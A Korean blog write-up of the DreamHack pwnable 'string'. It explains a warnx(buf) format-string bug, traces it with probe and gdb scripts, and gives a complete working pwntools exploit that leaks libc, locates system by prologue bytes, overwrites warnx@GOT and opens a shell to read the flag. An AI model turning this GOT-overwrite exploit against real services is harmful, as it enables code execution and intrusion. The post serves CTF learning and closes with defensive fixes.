[🥇 Gold 4] warnx 가 형식 문자열을 그대로 받는다 — DreamHack string 풀이

2026-08-06·1분 읽기·

[🥇 Gold 4] warnx 가 형식 문자열을 그대로 받는다 — DreamHack string 풀이

print() 가 사용자 입력을 warnx(buf) 로 그대로 넘긴다. buf 가 형식 문자열이 되니 %hn 으로 임의 주소에 쓸 수 있고, No PIE + Partial RELRO 라 GOT 주소는 고정에 쓰기까지 된다. warnx@got 를 system 으로 바꾸고 buf 에 "/bin/sh" 를 넣으면 셸이 열린다. 다만 문제가 준 libc.so.6 는 원격과 다른 빌드였다. 오프셋을 믿으면 엉뚱한 코드를 부르니 base 는 ELF 매직으로, system 은 프롤로그 바이트로 실측해서 확정했다.

문제: DreamHack — string 분류: Pwnable 난이도: 🥇 Gold 4 FLAG: DH{1166af5ed1d5cd46d4ec50d7d8862796}

바이너리와 소스가 같이 주어진다. 소스가 짧아서 취약점은 금방 보인다. 진짜 시간을 잡아먹은 건 그 다음이었다 — 문제가 같이 준 libc.so.6 가 원격에서 도는 libc 와 다른 빌드였다.

file extracted/string; python3 -c "from pwn import ELF; e=ELF(\"extracted/string\"); print(\"RELRO\",e.relro,\"| Canary\",e.canary,\"| NX\",e.nx,\"| PIE\",e.pie)"
file 과 pwntools ELF 로 확인한 보호기법 — i386 32비트 동적 링크 실행파일이고 Partial RELRO, No canary, NX enabled, No PIE(0x8048000) 로 GOT 가 고정 주소이면서 쓰기 가능한 상태
file 과 pwntools ELF 로 확인한 보호기법 — i386 32비트 동적 링크 실행파일이고 Partial RELRO, No canary, NX enabled, No PIE(0x8048000) 로 GOT 가 고정 주소이면서 쓰기 가능한 상태

No PIE 라 GOT 주소가 매번 같고, Partial RELRO 라 그 GOT 에 쓸 수 있다. NX 때문에 셸코드는 못 올리니 결론은 정해져 있다 — libc 함수를 부르게 만든다.


문제 개요

항목내용
문제명string (id 68)
난이도🥇 Gold 4
분류Pwnable
제공string(i386 ELF) · string.c · libc.so.6
환경Ubuntu 16.04 / glibc 2.23 계열
보호기법Partial RELRO · No canary · NX · No PIE
핵심 취약점warnx(buf) — 사용자 입력이 형식 문자열

흐름은 이렇다. 포맷 스트링으로 libc 주소를 유출해 base 를 잡고, 같은 버그의 쓰기 능력으로 warnx@got 를 system 으로 바꾼 뒤, 버퍼에 /bin/sh 를 넣고 Print 를 한 번 더 누른다.



🔬 소스 정찰 — 한 줄이 전부다

받은 string.c 에서 문제가 되는 부분만 보면 이렇다.

void input(char *buf) {
	printf("Input: ");
	read(0, buf, 255);
}
 
void print(char *buf) {
	warnx(buf);
}
 
int main() {
	int idx;
	char buf[256];
	...
	while(1) {
		printf("1. Input\n");  printf("2. Print\n");  printf("3. Exit\n");  printf("> ");
		scanf("%d", &idx);
		switch(idx) {
			case 1: input(buf); break;
			case 2: print(buf); break;
			default: break;
		}
	}
}

warnx(const char *fmt, ...) 는 이름만 경고 함수지 속은 vfprintf 다. 첫 인자가 형식 문자열이고, 여기 들어가는 buf 는 우리가 read 로 채운 값이다. warnx("%s", buf) 였다면 아무 일도 없었을 텐데 warnx(buf) 라 그대로 터진다.

디스어셈블리로도 확인해 둔다.

objdump -d --no-show-raw-insn -M intel extracted/string | sed -n "/<print>:/,/ret/p"
objdump 로 본 print 함수 — ebp+0x8 의 buf 포인터를 그대로 push 한 뒤 0x804876e 에서 warnx@plt 를 호출한다. 형식 문자열 자리에 사용자 버퍼가 들어간다는 것이 어셈블리로도 확인된다
objdump 로 본 print 함수 — ebp+0x8 의 buf 포인터를 그대로 push 한 뒤 0x804876e 에서 warnx@plt 를 호출한다. 형식 문자열 자리에 사용자 버퍼가 들어간다는 것이 어셈블리로도 확인된다

인자를 하나만 밀어 넣고 warnx@plt 를 부른다. 그 인자가 형식 문자열이다.

무엇을 덮을지도 미리 봐 둔다.

objdump -R extracted/string | grep -E "warnx|printf|read"
objdump -R 로 뽑은 동적 재배치 목록 — warnx 의 GOT 슬롯이 0x0804a02c, printf 는 0x0804a014, read 는 0x0804a010 에 있다. No PIE 라 이 주소들은 실행할 때마다 동일하다
objdump -R 로 뽑은 동적 재배치 목록 — warnx 의 GOT 슬롯이 0x0804a02c, printf 는 0x0804a014, read 는 0x0804a010 에 있다. No PIE 라 이 주소들은 실행할 때마다 동일하다

warnx@got 가 0x0804a02c. 여기를 system 으로 바꾸면 다음 print(buf) 는 system(buf) 가 된다. 인자를 따로 맞출 필요도 없다 — warnx 도 system 도 첫 인자가 문자열 포인터다.

무한 루프라는 점도 크다. 유출 → 계산 → 쓰기 → 실행을 한 연결 안에서 순서대로 할 수 있다.


🧩 배경 — 형식 문자열이 주는 두 가지

포맷 스트링 버그를 "임의 쓰기"로만 기억하기 쉬운데, 실제로는 읽기와 쓰기를 둘 다 준다. 이 문제는 둘 다 쓴다.

읽기는 %s 다. %N$s 는 N번째 가변인자를 포인터로 보고 그 주소의 문자열을 출력한다. 가변인자 자리에 우리가 심은 값이 올라가 있으면, 그건 곧 "원하는 주소를 읽는" 기능이다.

쓰기는 %n 이다. 지금까지 출력한 문자 수를 N번째 가변인자가 가리키는 주소에 써 넣는다. %hn 은 2바이트, %hhn 은 1바이트만 쓴다. 32비트 주소 하나를 채우려면 %hn 두 번이면 된다.

%hn 두 번으로 GOT 4바이트를 갈아끼우는 과정 도식 — buf 앞에 warnx@got 와 그 다음 주소를 심어 가변인자 5번·6번으로 만들고, %c 로 출력 문자 수를 맞춘 뒤 %hn 으로 하위·상위 2바이트를 차례로 써 넣는다
%hn 두 번으로 GOT 4바이트를 갈아끼우는 과정 도식 — buf 앞에 warnx@got 와 그 다음 주소를 심어 가변인자 5번·6번으로 만들고, %c 로 출력 문자 수를 맞춘 뒤 %hn 으로 하위·상위 2바이트를 차례로 써 넣는다

%hn 을 쓰는 이유는 단순하다. %n 으로 4바이트를 한 번에 쓰려면 system 주소만큼(수십억) 문자를 출력해야 한다. 2바이트씩 끊으면 최대 65535 자면 된다.


🎯 오프셋 찾기 — buf 는 몇 번째 가변인자인가

%N$hn 이 쓸 주소는 "N번째 가변인자 자리에 있는 값"이다. 그러니 우리가 심은 주소가 몇 번 자리에 오는지부터 알아야 한다.

buf 는 main 의 지역 배열이고 warnx 는 print 안에서 불린다. warnx 의 가변인자 목록은 print 의 스택을 지나 main 의 프레임까지 거슬러 올라가므로, 몇 번째인지는 세는 것보다 찔러보는 게 빠르다.

# probe.py — AAAA 를 심고 %N$p 를 훑어 0x41414141 이 나오는 N 을 찾는다
probe = b"AAAA" + b"".join(b"|%%%d$p" % i for i in range(1, 21))
do_input(p, probe + b"\n")
out = do_print(p)
print("[raw]", out.decode(errors="replace").strip())
 
fields = out.decode(errors="replace").split("|")
for i, f in enumerate(fields[1:], start=1):
    mark = "   <-- buf 시작(AAAA)" if "41414141" in f else ""
    print("  %%%-3d$p = %s%s" % (i, f.strip(), mark))
python3 probe.py host3.dreamhack.games 10436
probe.py 실행 결과 — %1$p 부터 %20$p 까지 훑은 값 중 %5$p 자리에서 0x41414141 이 나와 buf 의 첫 4바이트가 다섯 번째 가변인자임을 확인한다
probe.py 실행 결과 — %1$p 부터 %20$p 까지 훑은 값 중 %5$p 자리에서 0x41414141 이 나와 buf 의 첫 4바이트가 다섯 번째 가변인자임을 확인한다

5번이다. %5$p 자리에서 0x41414141 이 나왔다. 그 앞의 값들도 말이 된다 — %2$p 는 0x804881f 로 main 으로 돌아갈 주소고, %4$p 의 0x2 는 방금 우리가 고른 메뉴 번호 idx 다. buf 는 idx 바로 뒤에 있다.

정리하면 buf[0:4] 가 5번, buf[4:8] 이 6번이다.

gdb 로 한 번 더 — 정말 그 자리인가

%p 로 센 결과를 그대로 믿고 페이로드를 짜다 보면 한 칸 어긋나서 헤매기 쉽다. 디버거로 스택을 직접 보고 확인했다.

# make_gdb_input.py — stdin 이 파일이면 read 가 남은 걸 통째로 삼키니
# 페이로드를 정확히 255바이트로 채워 한 번의 read 가 딱 그만큼만 가져가게 한다
payload = pack("<I", WARNX_GOT) + b"%61c%5$hn"
payload = payload.ljust(255, b"X")
Path("gdb_input.bin").write_bytes(b"1\n" + payload + b"2\n")
# cmds.gdb — warnx 호출 직전과 직후에 멈춘다
break *0x804876e
break *0x8048773
run < gdb_input.bin
 
printf "esp = %p   (esp+0 은 warnx 의 형식 문자열 인자)\n", $esp
x/8wx $esp
printf "\n5번째 가변인자 자리 = esp+0x14 = %p\n", $esp+0x14
x/s $esp+0x14
printf "\n덮어쓰기 전 warnx@got(0x804a02c) = "
x/wx 0x804a02c
continue
printf "\n덮어쓰기 후 warnx@got(0x804a02c) = "
x/wx 0x804a02c
kill

%61c 를 넣은 건 캡쳐 때문이다. 주소 4바이트 + 61칸 = 65 = 0x41 이라, 결과가 한눈에 알아보기 좋은 값으로 떨어진다.

python3 make_gdb_input.py; gdb -q -batch -x cmds.gdb ./extracted/string 2>&1 | grep -v XXXX
gdb -batch 런타임 검증 — warnx 호출 직전 esp+0x14 자리에 buf 내용이 그대로 보이고, warnx 반환 직후 warnx@got 값이 0x08048566 에서 0xf7e70041 로 바뀌어 하위 2바이트에 0x0041 이 실제로 쓰였음을 확인한다
gdb -batch 런타임 검증 — warnx 호출 직전 esp+0x14 자리에 buf 내용이 그대로 보이고, warnx 반환 직후 warnx@got 값이 0x08048566 에서 0xf7e70041 로 바뀌어 하위 2바이트에 0x0041 이 실제로 쓰였음을 확인한다

두 가지가 한 화면에서 확인된다.

esp+0x14 를 문자열로 찍으니 우리가 넣은 페이로드가 그대로 나온다. 다섯 번째 가변인자 자리가 곧 buf 다.

그리고 warnx@got 가 0x08048566 → 0xf7e70041 로 바뀌었다. 하위 2바이트가 0x0041 = 65, 출력한 문자 수 그대로다. 상위 2바이트가 0xf7e7 로 채워진 건 이번 호출에서 warnx 가 지연 바인딩으로 해석돼 실제 libc 주소가 들어갔기 때문이다. 그 위에 우리가 하위 절반만 덮어쓴 상태다.



🐛 삽질 — 유출은 되는데 값이 안 맞는다

여기서부터 두 번 걸렸다.

▶🐛 삽질 1 — 구분자로 쓴 '|' 가 libc 주소 안에 들어 있었다

처음엔 유출을 이렇게 짰다. 주소를 buf 앞에 심고 %5$s 로 따라 읽은 뒤, 앞뒤를 | 로 감싸 잘라 쓰는 흔한 방식이다.

send_buf(p, p32(PRINTF_GOT) + b"|%5$s|")
line = do_print(p)
leak_raw = line.split(b"|")[1]
printf_addr = u32(leak_raw[:4])

로컬에선 잘 되다가 원격에서 unpack requires a buffer of 4 bytes 로 죽었다. 잘라낸 값이 b'0' 한 바이트였다.

유출되는 건 사람이 읽는 문자열이 아니라 주소 4바이트 그대로다. 0x7c 는 | 의 아스키 코드이고, libc 주소 바이트에 0x7c 가 섞이는 건 흔한 일이다. 그날 뽑힌 주소에 하필 그게 들어 있어서 split 이 엉뚱한 데서 잘렸다.

ASLR 때문에 연결마다 주소가 달라지니, 어제는 되고 오늘은 안 되는 식으로 재현도 들쭉날쭉했다. 구분자를 버리고, 우리가 심어 둔 주소 4바이트를 앵커로 찾아 그 뒤를 읽는 방식으로 바꿨다.

그래도 유출 첫 4바이트에 개행(0x0a)이 끼면 recvline 이 거기서 잘라 버린다. 이건 파싱으로 못 막으니 연결을 새로 열어 ASLR 을 다시 뽑는 재시도를 넣었다.

▶🐛 삽질 2 — 페이지 정렬된 주소는 형식 문자열을 끊어 버린다

libc base 가 맞는지 확인하려고 그 주소를 %s 로 읽어 ELF 매직을 보려 했는데, 응답이 계속 빈 문자열이었다.

send_buf(p, p32(base) + b"%5$s")     # base = 0xf7e00000

당연한 일이었다. base 는 페이지 정렬이라 하위 바이트가 항상 0x00 이다. 그 주소를 형식 문자열 맨 앞에 두면 vfprintf 는 첫 글자에서 문자열이 끝났다고 보고 아무것도 출력하지 않는다.

read 는 널을 그대로 받아 주지만, 그 뒤에 오는 warnx 는 C 문자열로 다룬다는 걸 잊고 있었다.

해결은 순서를 바꾸는 것이다. 지시자를 앞 4바이트에 쓰고 주소는 그 뒤에 둔다. buf[4:8] 은 여섯 번째 가변인자이므로 %6$s 로 가리킬 수 있고, 주소 안의 널은 오히려 형식 문자열을 깔끔하게 끝내 준다.

p.send(b"%6$s" + p32(addr) + b"\x00")

이 형태 하나로 널이 든 주소든 아니든 다 읽힌다. 이후 임의 읽기는 전부 이걸로 통일했다.


💣 핵심 — 문제가 준 libc 가 원격과 다르다

유출은 되기 시작했는데 계산이 안 맞았다. printf@got 에서 얻은 주소에서 배포 libc 의 printf 오프셋을 빼니 base 가 0xf7d45010 처럼 나왔다. 페이지 정렬이 아니다. mmap 으로 올라간 라이브러리 base 는 반드시 0x...000 이어야 한다.

그래서 세 심볼을 한 연결 안에서 유출해 비교하는 스크립트를 만들었다.

# diag.py — 같은 ASLR 안에서 세 GOT 를 읽고, base 후보에서 ELF 매직을 직접 확인한다
leaks = {}
for name in ("printf", "puts", "read"):
    raw = read_at(elf.got[name])
    if len(raw) >= 4:
        leaks[name] = u32(raw[:4])
        print("[leak] %-7s@got = %#x   (제공libc 기준 base %#x)"
              % (name, leaks[name], leaks[name] - libc.symbols[name]))
 
ref = leaks["printf"]
cands = sorted({ref - libc.symbols["printf"], (ref - libc.symbols["printf"]) & ~0xFFF})
for c in cands:
    got = read_at(c)
    print("   %#x -> %-20r %s" % (c, got[:8], "★ ELF 헤더 확인" if got.startswith(b"\x7fELF") else "아님"))
python3 diag.py host3.dreamhack.games 10436
diag.py 실행 결과 — printf 와 puts 로 계산한 base 는 같지만 read 로 계산한 값은 0x100 어긋나고, 페이지 정렬로 내린 주소에서 ELF 매직을 읽어 실제 libc base 를 확정한다
diag.py 실행 결과 — printf 와 puts 로 계산한 base 는 같지만 read 로 계산한 값은 0x100 어긋나고, 페이지 정렬로 내린 주소에서 ELF 매직을 읽어 실제 libc base 를 확정한다

답이 나왔다. 페이지 경계로 내린 주소를 %s 로 읽으니 \x7fELF 가 그대로 찍혔다. base 는 그쪽이 맞고, 배포된 libc 의 오프셋이 원격과 다르다.

심볼배포 libc원격 실측차이
printf0x490200x49030+0x10
puts0x5f1400x5f150+0x10
read0xd43500xd4460+0x110
배포 libc 와 원격 libc 의 심볼 오프셋 비교표 — printf 와 puts 는 0x10, read 는 0x110 어긋나며 어긋난 폭이 심볼마다 다르다는 점과, base 는 ELF 매직으로 system 은 프롤로그 바이트로 실측 확정했다는 해결책을 함께 보여준다
배포 libc 와 원격 libc 의 심볼 오프셋 비교표 — printf 와 puts 는 0x10, read 는 0x110 어긋나며 어긋난 폭이 심볼마다 다르다는 점과, base 는 ELF 매직으로 system 은 프롤로그 바이트로 실측 확정했다는 해결책을 함께 보여준다

어긋난 폭이 균일하지 않다는 게 중요하다. 전부 +0x10 이면 상수 하나 더해서 끝낼 텐데, read 는 +0x110 이다. 코드가 중간중간 끼어든 다른 빌드라는 뜻이고, system 이 얼마나 밀렸는지는 따로 확인하지 않으면 알 수 없다.

system 을 바이트로 찾는다

주소를 모르면 읽어서 찾으면 된다. 우리에겐 임의 읽기가 있다.

배포 libc 의 system 앞부분은 이렇게 생겼다.

3a940:  83 ec 0c              sub    esp, 0xc
3a943:  8b 44 24 10           mov    eax, DWORD PTR [esp+0x10]
3a947:  e8 41 29 0e 00        call   ...        <- 이 뒤는 빌드마다 달라진다

앞 7바이트 83 ec 0c 8b 44 24 10 은 함수 본문이라 빌드가 달라도 그대로다. 반면 그 뒤 call 의 변위는 재배치에 따라 바뀐다. 그래서 앞 7바이트만 표식으로 삼는다.

# find_system.py — 배포본 프롤로그를 표식 삼아 예상 위치 근처를 훑는다
ref = libc.read(libc.symbols["system"], 16)
sig = ref.split(b"\x00")[0][:7]
print("표식(배포본 system 프롤로그) = %s\n" % sig.hex(" "))
 
for d in (0x0, 0x10, 0x20, -0x10, 0x110):
    off = libc.symbols["system"] + d
    got = read_at(base + off)
    hit = got.startswith(sig)
    print("  배포본%+#6x -> %#x : %-24s %s"
          % (d, base + off, got[:8].hex(" "), "★ system 확정" if hit else ""))
python3 find_system.py host3.dreamhack.games 10436
find_system.py 실행 결과 — 배포본 오프셋 기준 +0x0 자리에는 다른 함수의 에필로그가 있고 +0x10 자리에서 83 ec 0c 8b 44 24 10 프롤로그가 정확히 나와 원격 system 위치를 확정한다
find_system.py 실행 결과 — 배포본 오프셋 기준 +0x0 자리에는 다른 함수의 에필로그가 있고 +0x10 자리에서 83 ec 0c 8b 44 24 10 프롤로그가 정확히 나와 원격 system 위치를 확정한다

+0x10 에서 정확히 일치했다. 배포본 오프셋 자리(+0x0)에는 83 c4 10 5b 5e 5f c3 — 다른 함수의 에필로그가 놓여 있다. 그대로 호출했으면 스택만 망가뜨리고 죽었을 것이다.


🚀 Full Exploit

지금까지의 결론을 한 파일로 묶었다. 오프셋을 하드코딩하지 않고 base 와 system 을 매번 실측으로 확정하기 때문에, libc 가 또 바뀌어도 그대로 돈다.

#!/usr/bin/env python3
"""string (DreamHack #68, Gold 4 pwnable) — warnx 포맷 스트링으로 GOT 덮어쓰기."""
import re
import sys
from pwn import ELF, context, process, remote, p32, u32
 
context.arch = "i386"
context.log_level = "error"
 
BIN = "./extracted/string"
REMOTE = len(sys.argv) > 2
HOST, PORT = (sys.argv[1], int(sys.argv[2])) if REMOTE else (None, None)
LIBC_PATH = "./extracted/libc.so.6" if REMOTE else "/lib/i386-linux-gnu/libc.so.6"
 
elf = ELF(BIN)
libc = ELF(LIBC_PATH)
PRINTF_GOT = elf.got["printf"]
WARNX_GOT = elf.got["warnx"]
OFF = 5                      # buf[0:4] 가 warnx 가변인자 5번 (probe.py 로 확인)
 
 
def start():
    return remote(HOST, PORT) if REMOTE else process(BIN)
 
 
def menu(p, choice):
    p.recvuntil(b"> ")
    p.sendline(str(choice).encode())
 
 
def send_buf(p, data):
    """1. Input — buf 는 재사용되니 항상 NULL 로 끝을 막는다."""
    menu(p, 1)
    p.recvuntil(b"Input: ")
    p.send(data + b"\x00")
 
 
def read_at(p, addr):
    """addr 가 가리키는 문자열을 읽는다 (임의 읽기).
 
    주소를 buf 맨 앞에 두면 0x00 이 든 주소에서 형식 문자열이 끊긴다.
    지시자를 앞 4바이트에 쓰고 주소는 buf[4:8] = 여섯 번째 가변인자 자리에 둔다.
    """
    send_buf(p, b"%6$s" + p32(addr))
    menu(p, 2)
    body = p.recvline().rstrip(b"\n")[len(b"string: "):]
    tail = p32(addr).split(b"\x00")[0]          # NULL 앞까지는 리터럴로 찍힌다
    return body[:-len(tail)] if tail and body.endswith(tail) else body
 
 
def leak_base():
    """libc base 확정. 못 믿을 유출이면 연결을 새로 열어 ASLR 을 다시 뽑는다."""
    for attempt in range(1, 11):
        p = start()
        raw = read_at(p, PRINTF_GOT)
        if len(raw) >= 4:
            base = (u32(raw[:4]) - libc.symbols["printf"]) & ~0xFFF
            if base > 0 and read_at(p, base).startswith(b"\x7fELF"):
                print("[1] printf@libc  = %#x  (시도 %d회)" % (u32(raw[:4]), attempt))
                print("[2] libc base    = %#x  (ELF 매직으로 검증)" % base)
                return p, base
        print("    [!] 유출 %r — 개행/NULL 에 걸렸다. 재연결." % raw[:8])
        p.close()
    raise RuntimeError("libc base 확정 실패")
 
 
def find_system(p, base):
    """원격 libc 는 배포본과 다른 빌드라, 프롤로그 바이트로 system 을 찾는다."""
    ref = libc.read(libc.symbols["system"], 16)
    sig = ref.split(b"\x00")[0][:7]
    print("[3] system 프롤로그 표식 = %s" % sig.hex(" "))
 
    deltas = [0, 0x10, 0x20, -0x10, 0x30, -0x20, 0x40, -0x30]
    deltas += [d for d in range(-0x800, 0x801, 0x10) if d not in deltas]
    for d in deltas:
        off = libc.symbols["system"] + d
        if off <= 0:
            continue
        if read_at(p, base + off).startswith(sig):
            print("[4] system       = %#x  (배포본 오프셋 %+#x)" % (base + off, d))
            return base + off
    raise RuntimeError("system 을 못 찾았다")
 
 
p, base = leak_base()
system = find_system(p, base)
 
# warnx@got <- system  (2바이트씩 두 번)
lo, hi = system & 0xFFFF, (system >> 16) & 0xFFFF
addrs = p32(WARNX_GOT) + p32(WARNX_GOT + 2)     # 가변인자 5번, 6번 자리
first, second = (lo, hi) if lo <= hi else (hi, lo)
slot1, slot2 = (OFF, OFF + 1) if lo <= hi else (OFF + 1, OFF)
 
fmt = b"%%%dc%%%d$hn" % (first - len(addrs), slot1)
fmt += b"%%%dc%%%d$hn" % ((second - first) % 0x10000, slot2)
print("[5] 쓰기 페이로드 %d바이트 (하위 %#06x, 상위 %#06x)" % (len(addrs + fmt), lo, hi))
 
send_buf(p, addrs + fmt)
menu(p, 2)                                      # 이 warnx 호출이 곧 쓰기다
p.recvline()
 
# system("/bin/sh")
send_buf(p, b"/bin/sh")
menu(p, 2)                                      # 이제 warnx@plt 는 system 이다
 
p.sendline(b"echo SHELL_OK; ls; cat flag")
out = p.recvrepeat(4)
print("[6] 셸 응답:")
print(out.decode(errors="replace").strip())
 
m = re.search(rb"DH\{[^}]+\}", out)
if m:
    print("\n[+] FLAG = %s" % m.group().decode())
else:
    p.interactive()

쓰기 순서를 값 크기로 정렬한 건 %n 의 성질 때문이다. 출력한 문자 수는 누적이라 줄어들지 않으니, 큰 값을 먼저 쓰면 작은 값은 다시 만들 수 없다. 작은 쪽부터 쓰고 차이만큼 더 찍는다.

먼저 로컬에서 확인했다. 로컬은 시스템의 32비트 libc 를 쓰므로 system 이 배포본 오프셋 그대로(+0x0)에서 잡힌다 — 같은 코드가 두 환경을 다 커버한다는 확인도 된다.

python3 solve.py
로컬에서 solve.py 를 돌린 결과 — 시스템 32비트 libc 기준으로 base 를 잡고 system 을 배포본 오프셋 +0x0 에서 찾아 셸을 획득해 SHELL_OK 와 로컬 더미 플래그를 출력한다
로컬에서 solve.py 를 돌린 결과 — 시스템 32비트 libc 기준으로 base 를 잡고 system 을 배포본 오프셋 +0x0 에서 찾아 셸을 획득해 SHELL_OK 와 로컬 더미 플래그를 출력한다

여기 보이는 DH{LOCAL_TEST_FLAG} 는 로컬 확인용으로 직접 만들어 둔 더미 파일이다. 진짜 플래그는 문제 서버에만 있다.

python3 solve.py host3.dreamhack.games 10436
원격에서 solve.py 를 돌린 결과 — libc base 를 ELF 매직으로 검증하고 system 을 배포본 오프셋 +0x10 에서 확정한 뒤 셸을 잡아 flag 파일 내용을 그대로 출력한다
원격에서 solve.py 를 돌린 결과 — libc base 를 ELF 매직으로 검증하고 system 을 배포본 오프셋 +0x10 에서 확정한 뒤 셸을 잡아 flag 파일 내용을 그대로 출력한다
[4] system       = 0xf7e3c950  (배포본 오프셋 +0x10)
[6] 셸 응답:
SHELL_OK
flag
string
DH{1166af5ed1d5cd46d4ec50d7d8862796}

재현

로컬 검증과 라이브 회수를 한 번에 도는 스크립트도 남겼다. 이 문제의 플래그는 서버 파일이라 오프라인으로는 만들 수 없으니, 주소가 없으면 로컬 셸 획득까지만 확인하고 정직하게 끝낸다.

./reproduce.sh host3.dreamhack.games 10436
reproduce.sh 전체 실행 — 로컬에서 셸을 잡아 SHELL_OK 를 확인한 뒤 라이브 서버에 접속해 플래그를 회수하고 마지막에 기대값과 대조해 PASS 로 끝난다
reproduce.sh 전체 실행 — 로컬에서 셸을 잡아 SHELL_OK 를 확인한 뒤 라이브 서버에 접속해 플래그를 회수하고 마지막에 기대값과 대조해 PASS 로 끝난다


📝 결론

warnx(buf) 는 printf(buf) 와 똑같이 위험하다

이름이 경고 함수라 그냥 로그 찍는 함수로 넘기기 쉽지만, warnx·warn·err·errx·syslog 는 전부 첫 인자가 형식 문자열이다. 상수 문자열만 넘긴다는 보장이 없으면 warnx("%s", buf) 로 감싸야 한다.

컴파일러도 잡아 준다. -Wformat-security 를 켜면 "format not a string literal and no format arguments" 경고가 뜬다. 기본으로 켜져 있지 않을 뿐이다.

보호기법이 하나만 빠져도 경로가 열린다

NX 가 켜져 있어 셸코드는 못 쓴다. 하지만 Partial RELRO 라 GOT 가 쓰기 가능하고, No PIE 라 그 주소가 고정이다. Full RELRO 였다면 GOT 는 읽기 전용이라 이 경로가 막히고, PIE 였다면 주소를 한 번 더 유출해야 했다.

바꿔 말하면 이 문제에서 정말 결정적이었던 건 포맷 스트링 자체가 아니라 "쓸 수 있는 고정 주소"가 존재했다는 점이다.

모르는 값은 계산하지 말고 읽어라

이번에 제일 오래 붙잡은 건 취약점이 아니라 libc 였다. 문제가 준 파일이 원격과 같으리라는 건 그냥 가정이고, 여기선 그 가정이 틀렸다. 게다가 어긋난 폭이 심볼마다 달라서 보정 상수 하나로도 못 넘겼다.

포맷 스트링은 임의 쓰기만 주는 게 아니라 임의 읽기도 준다. base 는 ELF 매직을 직접 읽어 확인하고, system 은 프롤로그 바이트로 찾으면 오프셋 표를 아예 안 믿어도 된다. 익스가 환경에 덜 흔들리게 되는 건 덤이다.

read 오프셋이 +0x110 이나 어긋난 것도 참고가 된다. 심볼 하나로 base 를 잡고 끝냈다면 그게 하필 read 였을 때 조용히 틀린 주소를 갖고 계속 갔을 것이다. 서로 다른 심볼 두 개로 교차 확인하는 습관이 그래서 필요하다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥉 Bronze 4] sprintf가 제가 쓴 글자를 되읽는다 — DreamHack basic_exploitation_003 풀이
blog

[🥉 Bronze 4] sprintf가 제가 쓴 글자를 되읽는다 — DreamHack basic_exploitation_003 풀이

sprintf(stack_buf, heap_buf)에서 heap_buf가 그대로 포맷 문자열이 되는 취약점. stack_buf가 va_arg 스캔 영역과 겹쳐서 %k$ 인자가 "우리가 방금 그 자리에 쓴 값"을 되읽는 자기참조 구조를 실험으로 확인하고, printf@GOT 하위 2바이트만 %hhn으로 덮어 get_shell()로 리다이렉트한다.
#dreamhack#ctf#pwn+5
2026-07-04#dreamhack +5
[🥇 Gold 4] printf(buf) 한 줄로 전역 변수를 1337 로 — DreamHack Format String Bug 풀이
blog

[🥇 Gold 4] printf(buf) 한 줄로 전역 변수를 1337 로 — DreamHack Format String Bug 풀이

printf 에 사용자 입력을 형식 문자열로 그대로 넘기는 고전 버그. 64비트 PIE 라 %p 로 코드 주소를 먼저 흘려 base 를 복원하고, %n 으로 전역 changeme 에 1337 을 써넣어 system("/bin/sh") 를 연다. while(1) 루프 덕에 leak 과 write 를 두 번에 나눠 처리했다. 원격 glibc 는 leak 슬롯이 한 칸 앞이라 오프셋을 다시 잡아야 했던 삽질도 함께.
#dreamhack#ctf#pwnable+4
2026-07-11#dreamhack +4
[🥇 Gold 3] 4바이트 한 번으로 malloc 을 GOT 위에 착지시키다 — DreamHack house_of_force 풀이
blog

[🥇 Gold 3] 4바이트 한 번으로 malloc 을 GOT 위에 착지시키다 — DreamHack house_of_force 풀이

top 청크의 size 를 0xffffffff 로 바꾸면 malloc 은 힙이 무한히 크다고 믿는다. 그 상태로 거대한 크기를 요청하면 av->top 이 32비트 덧셈에서 되감겨 GOT 앞으로 끌려오고, 다음 malloc 은 scanf@got 를 그대로 돌려준다. 임의 쓰기는 단 한 번뿐이었다.
#dreamhack#ctf#pwnable+6
2026-08-02#dreamhack +4